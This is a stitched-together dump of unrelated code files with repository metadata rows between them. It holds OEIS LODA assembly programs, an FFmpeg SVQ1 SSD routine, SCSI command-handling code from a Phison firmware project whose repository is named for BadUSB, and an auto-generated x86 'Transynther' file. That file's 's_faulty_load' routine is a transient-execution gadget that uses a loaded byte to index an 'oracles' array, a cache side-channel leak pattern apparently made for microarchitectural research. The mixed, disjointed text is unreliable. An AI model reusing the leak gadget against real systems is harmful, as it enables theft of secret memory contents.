1012,9728215677510,10089595740180,10462094221095,10845983112888,11241539368332,11649044960280,12068786941965,12501057507660,12946154053698,13404379239852,13876041051075,14361452859600,14860933487400,15374807269008,15903404114697,16447059574020,17006114899710,17580917111940,18171819062943,18779179501992,19403363140740,20044740718920,20703689070405,21380591189628,22075836298362,22789819912860,23522943911355,24275616601920,25048252790688,25841273850432,26655107789505,27490189321140,28346959933110,29225867957748,30127368642327,31051924219800,32000003979900,32972084340600,33968648919933,34990188608172,36037201640370,37110193669260,38209677838515,39336174856368,40490213069592,41672328537840,42883065108345,44122974490980,45392616333678,46692558298212,48023376136335,49385653766280,50779983349620,52206965368488,53667208703157,55161330709980,56689957299690,58253723016060,59853271114923,61489253643552,63162331520400,64873174615200,66622461829425,68410881177108,70239129866022,72107914379220,74017950556935,75969963678840,77964688546668,80002869567192,82085260835565,84212626219020,86385739440930,88605384165228,90872354081187,93187452988560,95551494883080,97965304042320,100429715111913,102945573192132,105513733924830,108135063580740,110810439147135,113540748415848,116326890071652,119169773781000
mov $2,$0
pow $0,2
lpb $0
sub $0,$2
mov $3,$2
mov $4,$0
mov $5,$2
pow $5,5
add $4,$5
mov $0,$4
sub $0,1
mul $3,$0
clr $0,1
lpe
mov $1,$3
div $1,6
mul $1,3
| 166.47619 | 3,238 | 0.892162 |
58664ede10686360ad443099aa4399e6f05f016b | 511 | asm | Assembly | oeis/071/A071047.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/071/A071047.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/071/A071047.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A071047: Number of 1's in n-th row of triangle in A071031, cellular automaton "rule 62".
; Submitted by Simon Strandgaard
; 1,3,3,6,5,8,9,10,10,14,13,15,16,18,18,21,20,23,24,25,25,29,28,30,31,33,33,36,35,38,39,40,40,44,43,45,46,48,48,51,50,53,54,55,55,59,58,60,61,63,63,66,65,68,69,70,70,74,73,75,76,78,78,81,80,83,84,85,85,89,88,90,91,93,93,96,95,98,99,100,100,104,103,105,106,108,108,111,110,113,114,115,115,119,118,120,121,123,123,126
mul $0,2
mov $1,$0
gcd $0,3
lpb $1
add $0,5
trn $1,4
lpe
div $0,2
| 39.307692 | 315 | 0.675147 |
96e36e628bd182cea408124f737a9b7af75e1f77 | 1,213 | asm | Assembly | programs/oeis/128/A128987.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/128/A128987.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/128/A128987.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A128987: a(n) = (n^3 - n^2)*4^n.
; 0,64,1152,12288,102400,737280,4816896,29360128,169869312,943718400,5075107840,26575110144,136096776192,683973541888,3382286745600,16492674416640,79439715106816,378506877861888,1786156639322112,8356288371097600,38790770227937280,178806978955444224,818951444739653632,3728980491462770688,16888498602639360000,76110833702561382400,341444909348721524736,1525315150594858549248,6787248897620508147712,30091251270238706073600,132954907911261593272320,585573443875836006498304,2571328549922521818857472,11259302286781951600754688,49171641002880180787609600,214206543662967106893250560,930948438966990378847174656,4036905543148150471637598208,17468373630521584259916890112,75436971143952860501665382400,325152688443550662828973096960,1398949615644935046903191568384,6008496723176503836757261811712,25764008097607334281200573349888,110300457500327382493511968358400,471506602163015639103578434437120,2012672626431114100057593742360576,8579459262344656589329687293984768,36523549093775745515923012753293312,155287198527958101683346142658560000,659431842238724934658585007436595200
mov $4,$0
add $0,1
mov $2,$0
lpb $0
sub $0,1
mul $4,4
add $5,$2
lpe
mov $3,$4
mul $3,$5
mov $0,$3
| 80.866667 | 1,072 | 0.896125 |
6bb5b5baa172d43519a01bff44e37bae92dfcdd4 | 6,913 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_662.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_662.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_662.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x3e43, %rsi
lea addresses_D_ht+0x114d3, %rdi
nop
nop
nop
nop
and %r9, %r9
mov $41, %rcx
rep movsq
nop
nop
and %rdi, %rdi
lea addresses_D_ht+0x138c3, %r8
nop
nop
nop
nop
nop
dec %rdi
mov (%r8), %eax
nop
nop
xor %r9, %r9
lea addresses_normal_ht+0xfa43, %r8
nop
nop
nop
add %r10, %r10
mov $0x6162636465666768, %r9
movq %r9, %xmm1
vmovups %ymm1, (%r8)
and %r10, %r10
lea addresses_D_ht+0x1dc43, %r9
nop
nop
nop
sub %r10, %r10
movups (%r9), %xmm6
vpextrq $1, %xmm6, %rdi
nop
nop
nop
nop
cmp $14131, %r10
lea addresses_A_ht+0x1df8, %rsi
nop
nop
nop
nop
nop
xor $57312, %rcx
mov $0x6162636465666768, %r9
movq %r9, %xmm3
vmovups %ymm3, (%rsi)
nop
nop
nop
nop
and $65063, %rdi
lea addresses_normal_ht+0x1c643, %r9
nop
sub %r10, %r10
mov (%r9), %ecx
nop
add %r9, %r9
lea addresses_A_ht+0x19703, %rcx
clflush (%rcx)
nop
nop
sub %r8, %r8
movb $0x61, (%rcx)
nop
nop
nop
nop
nop
sub %rcx, %rcx
lea addresses_D_ht+0x5e43, %r8
dec %rdi
movb (%r8), %r10b
nop
nop
xor $43773, %rax
lea addresses_D_ht+0x1b983, %rsi
lea addresses_UC_ht+0x17e43, %rdi
clflush (%rdi)
nop
inc %r13
mov $118, %rcx
rep movsq
xor %r10, %r10
lea addresses_UC_ht+0x68c3, %rsi
lea addresses_WT_ht+0x1c3fb, %rdi
nop
nop
xor %rax, %rax
mov $26, %rcx
rep movsl
inc %r13
lea addresses_D_ht+0x1386b, %rsi
nop
cmp $7567, %r13
mov (%rsi), %cx
add %rcx, %rcx
lea addresses_A_ht+0x164c3, %rsi
lea addresses_normal_ht+0x9ae3, %rdi
clflush (%rdi)
nop
nop
nop
cmp $36140, %r9
mov $60, %rcx
rep movsq
nop
nop
dec %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %rax
push %rbx
push %rsi
// Faulty Load
lea addresses_WC+0x14643, %r10
nop
inc %rbx
movb (%r10), %r15b
lea oracles, %r14
and $0xff, %r15
shlq $12, %r15
mov (%r14,%r15,1), %r15
pop %rsi
pop %rbx
pop %rax
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_WT_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D_ht', 'congruent': 7}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal_ht', 'congruent': 9}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_D_ht', 'congruent': 9}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A_ht', 'congruent': 0}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal_ht', 'congruent': 11}}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_A_ht', 'congruent': 4}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 1, 'type': 'addresses_D_ht', 'congruent': 10}}
{'dst': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 2, 'type': 'addresses_D_ht'}}
{'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 7, 'type': 'addresses_UC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 3}}
{'dst': {'same': False, 'congruent': 5, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_A_ht'}}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
| 37.367568 | 2,999 | 0.656444 |
61f6732aa6e8cd758c938bb5ef2b3a4f67492164 | 310 | asm | Assembly | programs/oeis/021/A021301.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/021/A021301.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/021/A021301.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A021301: Decimal expansion of 1/297.
; 0,0,3,3,6,7,0,0,3,3,6,7,0,0,3,3,6,7,0,0,3,3,6,7,0,0,3,3,6,7,0,0,3,3,6,7,0,0,3,3,6,7,0,0,3,3,6,7,0,0,3,3,6,7,0,0,3,3,6,7,0,0,3,3,6,7,0,0,3,3,6,7,0,0,3,3,6,7,0,0,3,3,6,7,0,0,3,3,6,7,0,0,3,3,6,7,0,0,3
add $0,2
mov $1,10
pow $1,$0
mul $1,2
div $1,5940
mod $1,10
mov $0,$1
| 28.181818 | 199 | 0.541935 |
24ee70f1082ff5c154fb801e372c29e42d87999c | 1,767 | asm | Assembly | fluorender/ffmpeg/OSX/include/libavcodec/x86/svq1enc.asm | sandorbx/VVD_Viewer | ad21f4c8700c81d89e8973a4ecacb777ee1d0f37 | [
"MIT"
] | 2 | 2017-09-16T13:59:15.000Z | 2019-04-24T03:25:36.000Z | lib/ffmpeg/libavcodec/x86/svq1enc.asm | slwilliams/stegasis | 8f7c466231588d51f0af01b46092218324f5e6b1 | [
"MIT",
"Unlicense"
] | null | null | null | lib/ffmpeg/libavcodec/x86/svq1enc.asm | slwilliams/stegasis | 8f7c466231588d51f0af01b46092218324f5e6b1 | [
"MIT",
"Unlicense"
] | 1 | 2019-04-24T03:25:40.000Z | 2019-04-24T03:25:40.000Z | ;******************************************************************************
;* SIMD-optimized SVQ1 encoder functions
;* Copyright (c) 2007 Loren Merritt
;*
;* This file is part of FFmpeg.
;*
;* FFmpeg is free software; you can redistribute it and/or
;* modify it under the terms of the GNU Lesser General Public
;* License as published by the Free Software Foundation; either
;* version 2.1 of the License, or (at your option) any later version.
;*
;* FFmpeg is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
;* Lesser General Public License for more details.
;*
;* You should have received a copy of the GNU Lesser General Public
;* License along with FFmpeg; if not, write to the Free Software
;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;******************************************************************************
%include "libavutil/x86/x86util.asm"
SECTION_TEXT
%macro SSD_INT8_VS_INT16 0
cglobal ssd_int8_vs_int16, 3, 3, 3, pix1, pix2, size
pxor m0, m0
.loop
sub sizeq, 8
movq m1, [pix1q + sizeq]
mova m2, [pix2q + sizeq*2]
%if mmsize == 8
movq m3, [pix2q + sizeq*2 + mmsize]
punpckhbw m4, m1
punpcklbw m1, m1
psraw m4, 8
psraw m1, 8
psubw m3, m4
psubw m2, m1
pmaddwd m3, m3
pmaddwd m2, m2
paddd m0, m3
paddd m0, m2
%else
punpcklbw m1, m1
psraw m1, 8
psubw m2, m1
pmaddwd m2, m2
paddd m0, m2
%endif
jg .loop
HADDD m0, m1
movd eax, m0
RET
%endmacro
INIT_MMX mmx
SSD_INT8_VS_INT16
INIT_XMM sse2
SSD_INT8_VS_INT16
| 28.5 | 79 | 0.604414 |
bab39fe56799f511a6bd6612679fcf0b8e739f9b | 665 | asm | Assembly | oeis/080/A080951.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/080/A080951.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/080/A080951.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A080951: Sequence associated with recurrence a(n) = 2*a(n-1) + k*(k+2)*a(n-2).
; 1,5,30,140,560,2016,6720,21120,63360,183040,512512,1397760,3727360,9748480,25067520,63504384,158760960,392232960,958791680,2321285120,5571084288,13264486400,31352422400,73610035200,171756748800,398475657216,919559208960,2111580405760,4826469498880,10984378859520,24897925414912,56221121904640,126497524285440,283661115064320,634066021908480,1413061420253184,3140136489451520,6959221409054720,15383542062120960,33922682495959040,74629901491109888,163821734980485120,358847609957253120
mov $1,-2
pow $1,$0
mov $2,-5
bin $2,$0
mul $1,$2
mul $1,6
sub $1,6
div $1,12
add $1,1
mov $0,$1
| 47.5 | 485 | 0.816541 |
c3a7d3c836780a4aec467839438469b8f651b53b | 17,619 | asm | Assembly | firmware/bin/scsi.asm | bidhata/phison-2307-BadUSB | a3349651cd65ff99cf30f0488c908aa6bb3fa7be | [
"MIT"
] | 14 | 2018-10-09T12:16:31.000Z | 2022-02-25T23:10:49.000Z | firmware/bin/scsi.asm | bidhata/phison-2307-BadUSB | a3349651cd65ff99cf30f0488c908aa6bb3fa7be | [
"MIT"
] | 1 | 2019-08-08T09:49:56.000Z | 2019-08-08T09:49:56.000Z | firmware/bin/scsi.asm | bidhata/phison-2307-BadUSB | a3349651cd65ff99cf30f0488c908aa6bb3fa7be | [
"MIT"
] | 10 | 2018-12-23T11:02:18.000Z | 2022-01-08T10:28:24.000Z | ;--------------------------------------------------------
; File Created by SDCC : free open source ANSI-C Compiler
; Version 3.7.1 #10443 (MINGW64)
;--------------------------------------------------------
.module scsi
.optsdcc -mmcs51 --model-small
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
.globl _HandleCDB
.globl _SendData1
.globl _memset
.globl _RI
.globl _TI
.globl _RB8
.globl _TB8
.globl _REN
.globl _SM2
.globl _SM1
.globl _SM0
.globl _RXD
.globl _TXD
.globl _INT0
.globl _INT1
.globl _T0
.globl _T1
.globl _WR
.globl _RD
.globl _PX0
.globl _PT0
.globl _PX1
.globl _PT1
.globl _PS
.globl _EX0
.globl _ET0
.globl _EX1
.globl _ET1
.globl _ES
.globl _EA
.globl _IT0
.globl _IE0
.globl _IT1
.globl _IE1
.globl _TR0
.globl _TF0
.globl _TR1
.globl _TF1
.globl _P
.globl _OV
.globl _RS0
.globl _RS1
.globl _F0
.globl _AC
.globl _CY
.globl _SBUF
.globl _SCON
.globl _IP
.globl _IE
.globl _TH1
.globl _TH0
.globl _TL1
.globl _TL0
.globl _TMOD
.globl _TCON
.globl _PCON
.globl _DPH
.globl _DPL
.globl _SP
.globl _B
.globl _ACC
.globl _PSW
.globl _P3
.globl _P2
.globl _P1
.globl _P0
.globl _PRAMCTL
.globl _BANK2PAH
.globl _BANK2PAL
.globl _BANK2VA
.globl _BANK1PAH
.globl _BANK1PAL
.globl _BANK1VA
.globl _BANK0PAH
.globl _BANK0PAL
.globl _WARMSTATUS
.globl _GPIO0OUT
.globl _GPIO0DIR
.globl _DMACMD
.globl _DMAFILL3
.globl _DMAFILL2
.globl _DMAFILL1
.globl _DMAFILL0
.globl _DMASIZEH
.globl _DMASIZEM
.globl _DMASIZEL
.globl _DMADSTH
.globl _DMADSTM
.globl _DMADSTL
.globl _DMASRCH
.globl _DMASRCM
.globl _DMASRCL
.globl _NANDCSDIR
.globl _NANDCSOUT
.globl _EP4
.globl _EP3
.globl _EP2
.globl _EP1
.globl _EP0
.globl _SETUPDAT
.globl _EP0CS
.globl _EPIE
.globl _EPIRQ
.globl _USBIRQ
.globl _USBSTAT
.globl _USBCTL
.globl _REGBANK
.globl _scsi_cdb_size
.globl _scsi_cdb
.globl _scsi_lun
.globl _scsi_dir_in
.globl _scsi_tag
.globl _scsi_transfer_size
.globl _scsi_data_residue
.globl _scsi_status
;--------------------------------------------------------
; special function registers
;--------------------------------------------------------
.area RSEG (ABS,DATA)
.org 0x0000
_P0 = 0x0080
_P1 = 0x0090
_P2 = 0x00a0
_P3 = 0x00b0
_PSW = 0x00d0
_ACC = 0x00e0
_B = 0x00f0
_SP = 0x0081
_DPL = 0x0082
_DPH = 0x0083
_PCON = 0x0087
_TCON = 0x0088
_TMOD = 0x0089
_TL0 = 0x008a
_TL1 = 0x008b
_TH0 = 0x008c
_TH1 = 0x008d
_IE = 0x00a8
_IP = 0x00b8
_SCON = 0x0098
_SBUF = 0x0099
;--------------------------------------------------------
; special function bits
;--------------------------------------------------------
.area RSEG (ABS,DATA)
.org 0x0000
_CY = 0x00d7
_AC = 0x00d6
_F0 = 0x00d5
_RS1 = 0x00d4
_RS0 = 0x00d3
_OV = 0x00d2
_P = 0x00d0
_TF1 = 0x008f
_TR1 = 0x008e
_TF0 = 0x008d
_TR0 = 0x008c
_IE1 = 0x008b
_IT1 = 0x008a
_IE0 = 0x0089
_IT0 = 0x0088
_EA = 0x00af
_ES = 0x00ac
_ET1 = 0x00ab
_EX1 = 0x00aa
_ET0 = 0x00a9
_EX0 = 0x00a8
_PS = 0x00bc
_PT1 = 0x00bb
_PX1 = 0x00ba
_PT0 = 0x00b9
_PX0 = 0x00b8
_RD = 0x00b7
_WR = 0x00b6
_T1 = 0x00b5
_T0 = 0x00b4
_INT1 = 0x00b3
_INT0 = 0x00b2
_TXD = 0x00b1
_RXD = 0x00b0
_SM0 = 0x009f
_SM1 = 0x009e
_SM2 = 0x009d
_REN = 0x009c
_TB8 = 0x009b
_RB8 = 0x009a
_TI = 0x0099
_RI = 0x0098
;--------------------------------------------------------
; overlayable register banks
;--------------------------------------------------------
.area REG_BANK_0 (REL,OVR,DATA)
.ds 8
;--------------------------------------------------------
; internal ram data
;--------------------------------------------------------
.area DSEG (DATA)
_scsi_status::
.ds 1
_scsi_data_residue::
.ds 4
_scsi_transfer_size::
.ds 4
_scsi_tag::
.ds 4
_scsi_dir_in::
.ds 1
_scsi_lun::
.ds 1
_scsi_cdb::
.ds 16
_scsi_cdb_size::
.ds 1
;--------------------------------------------------------
; overlayable items in internal ram
;--------------------------------------------------------
;--------------------------------------------------------
; indirectly addressable internal ram data
;--------------------------------------------------------
.area ISEG (DATA)
;--------------------------------------------------------
; absolute internal ram data
;--------------------------------------------------------
.area IABS (ABS,DATA)
.area IABS (ABS,DATA)
;--------------------------------------------------------
; bit data
;--------------------------------------------------------
.area BSEG (BIT)
;--------------------------------------------------------
; paged external ram data
;--------------------------------------------------------
.area PSEG (PAG,XDATA)
;--------------------------------------------------------
; external ram data
;--------------------------------------------------------
.area XSEG (XDATA)
_REGBANK = 0xf000
_USBCTL = 0xf008
_USBSTAT = 0xf009
_USBIRQ = 0xf027
_EPIRQ = 0xf020
_EPIE = 0xf030
_EP0CS = 0xf048
_SETUPDAT = 0xf0b8
_EP0 = 0xf1c0
_EP1 = 0xf200
_EP2 = 0xf240
_EP3 = 0xf280
_EP4 = 0xf2c0
_NANDCSOUT = 0xf608
_NANDCSDIR = 0xf618
_DMASRCL = 0xf900
_DMASRCM = 0xf901
_DMASRCH = 0xf902
_DMADSTL = 0xf904
_DMADSTM = 0xf905
_DMADSTH = 0xf906
_DMASIZEL = 0xf908
_DMASIZEM = 0xf909
_DMASIZEH = 0xf90a
_DMAFILL0 = 0xf90c
_DMAFILL1 = 0xf90d
_DMAFILL2 = 0xf90e
_DMAFILL3 = 0xf90f
_DMACMD = 0xf930
_GPIO0DIR = 0xfa14
_GPIO0OUT = 0xfa15
_WARMSTATUS = 0xfa38
_BANK0PAL = 0xfa40
_BANK0PAH = 0xfa41
_BANK1VA = 0xfa42
_BANK1PAL = 0xfa43
_BANK1PAH = 0xfa44
_BANK2VA = 0xfa45
_BANK2PAL = 0xfa46
_BANK2PAH = 0xfa47
_PRAMCTL = 0xfa48
;--------------------------------------------------------
; absolute external ram data
;--------------------------------------------------------
.area XABS (ABS,XDATA)
;--------------------------------------------------------
; external initialized ram data
;--------------------------------------------------------
.area XISEG (XDATA)
.area HOME (CODE)
.area GSINIT0 (CODE)
.area GSINIT1 (CODE)
.area GSINIT2 (CODE)
.area GSINIT3 (CODE)
.area GSINIT4 (CODE)
.area GSINIT5 (CODE)
.area GSINIT (CODE)
.area GSFINAL (CODE)
.area CSEG (CODE)
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
.area HOME (CODE)
.area GSINIT (CODE)
.area GSFINAL (CODE)
.area GSINIT (CODE)
;--------------------------------------------------------
; Home
;--------------------------------------------------------
.area HOME (CODE)
.area HOME (CODE)
;--------------------------------------------------------
; code
;--------------------------------------------------------
.area CSEG (CODE)
;------------------------------------------------------------
;Allocation info for local variables in function 'HandleCDB'
;------------------------------------------------------------
;i Allocated to registers r6 r7
;i Allocated with name '_HandleCDB_i_5_44'
;------------------------------------------------------------
; scsi.c:29: BYTE HandleCDB()
; -----------------------------------------
; function HandleCDB
; -----------------------------------------
_HandleCDB:
ar7 = 0x07
ar6 = 0x06
ar5 = 0x05
ar4 = 0x04
ar3 = 0x03
ar2 = 0x02
ar1 = 0x01
ar0 = 0x00
; scsi.c:32: scsi_status = 1;
mov _scsi_status,#0x01
; scsi.c:34: switch(scsi_cdb[0])
mov r7,_scsi_cdb
cjne r7,#0x00,00210$
sjmp 00102$
00210$:
cjne r7,#0x03,00211$
ljmp 00106$
00211$:
cjne r7,#0x06,00212$
ljmp 00109$
00212$:
cjne r7,#0x12,00213$
sjmp 00103$
00213$:
cjne r7,#0x1a,00214$
ljmp 00105$
00214$:
cjne r7,#0x1e,00215$
sjmp 00101$
00215$:
cjne r7,#0x23,00216$
sjmp 00104$
00216$:
cjne r7,#0xc6,00217$
ljmp 00109$
00217$:
cjne r7,#0xc7,00218$
ljmp 00109$
00218$:
ljmp 00123$
; scsi.c:36: case PREVENT_ALLOW_MEDIUM_REMOVAL:
00101$:
; scsi.c:38: scsi_status = 0;
mov _scsi_status,#0x00
; scsi.c:39: return 1;
mov dpl,#0x01
ret
; scsi.c:41: case TEST_UNIT_READY:
00102$:
; scsi.c:43: return 1;
mov dpl,#0x01
ret
; scsi.c:45: case INQUIRY:
00103$:
; scsi.c:47: memset(usb_buffer, 0, 36);
mov _memset_PARM_2,#0x00
mov _memset_PARM_3,#0x24
mov (_memset_PARM_3 + 1),#0x00
mov dptr,#_usb_buffer
mov b,#0x00
lcall _memset
; scsi.c:48: usb_buffer[1] = 0x80; //removable media
mov dptr,#(_usb_buffer + 0x0001)
mov a,#0x80
movx @dptr,a
; scsi.c:49: usb_buffer[3] = 0x01; //because the UFI spec says so
mov dptr,#(_usb_buffer + 0x0003)
rl a
movx @dptr,a
; scsi.c:50: usb_buffer[4] = 0x1F; //additional length
mov dptr,#(_usb_buffer + 0x0004)
mov a,#0x1f
movx @dptr,a
; scsi.c:51: SendData1(36, 0);
mov _SendData1_PARM_2,#0x00
mov dptr,#0x0024
lcall _SendData1
; scsi.c:52: scsi_status = 0;
mov _scsi_status,#0x00
; scsi.c:53: return 1;
mov dpl,#0x01
ret
; scsi.c:55: case READ_FORMAT_CAPACITIES:
00104$:
; scsi.c:57: memset(usb_buffer, 0, 12);
mov _memset_PARM_2,#0x00
mov _memset_PARM_3,#0x0c
mov (_memset_PARM_3 + 1),#0x00
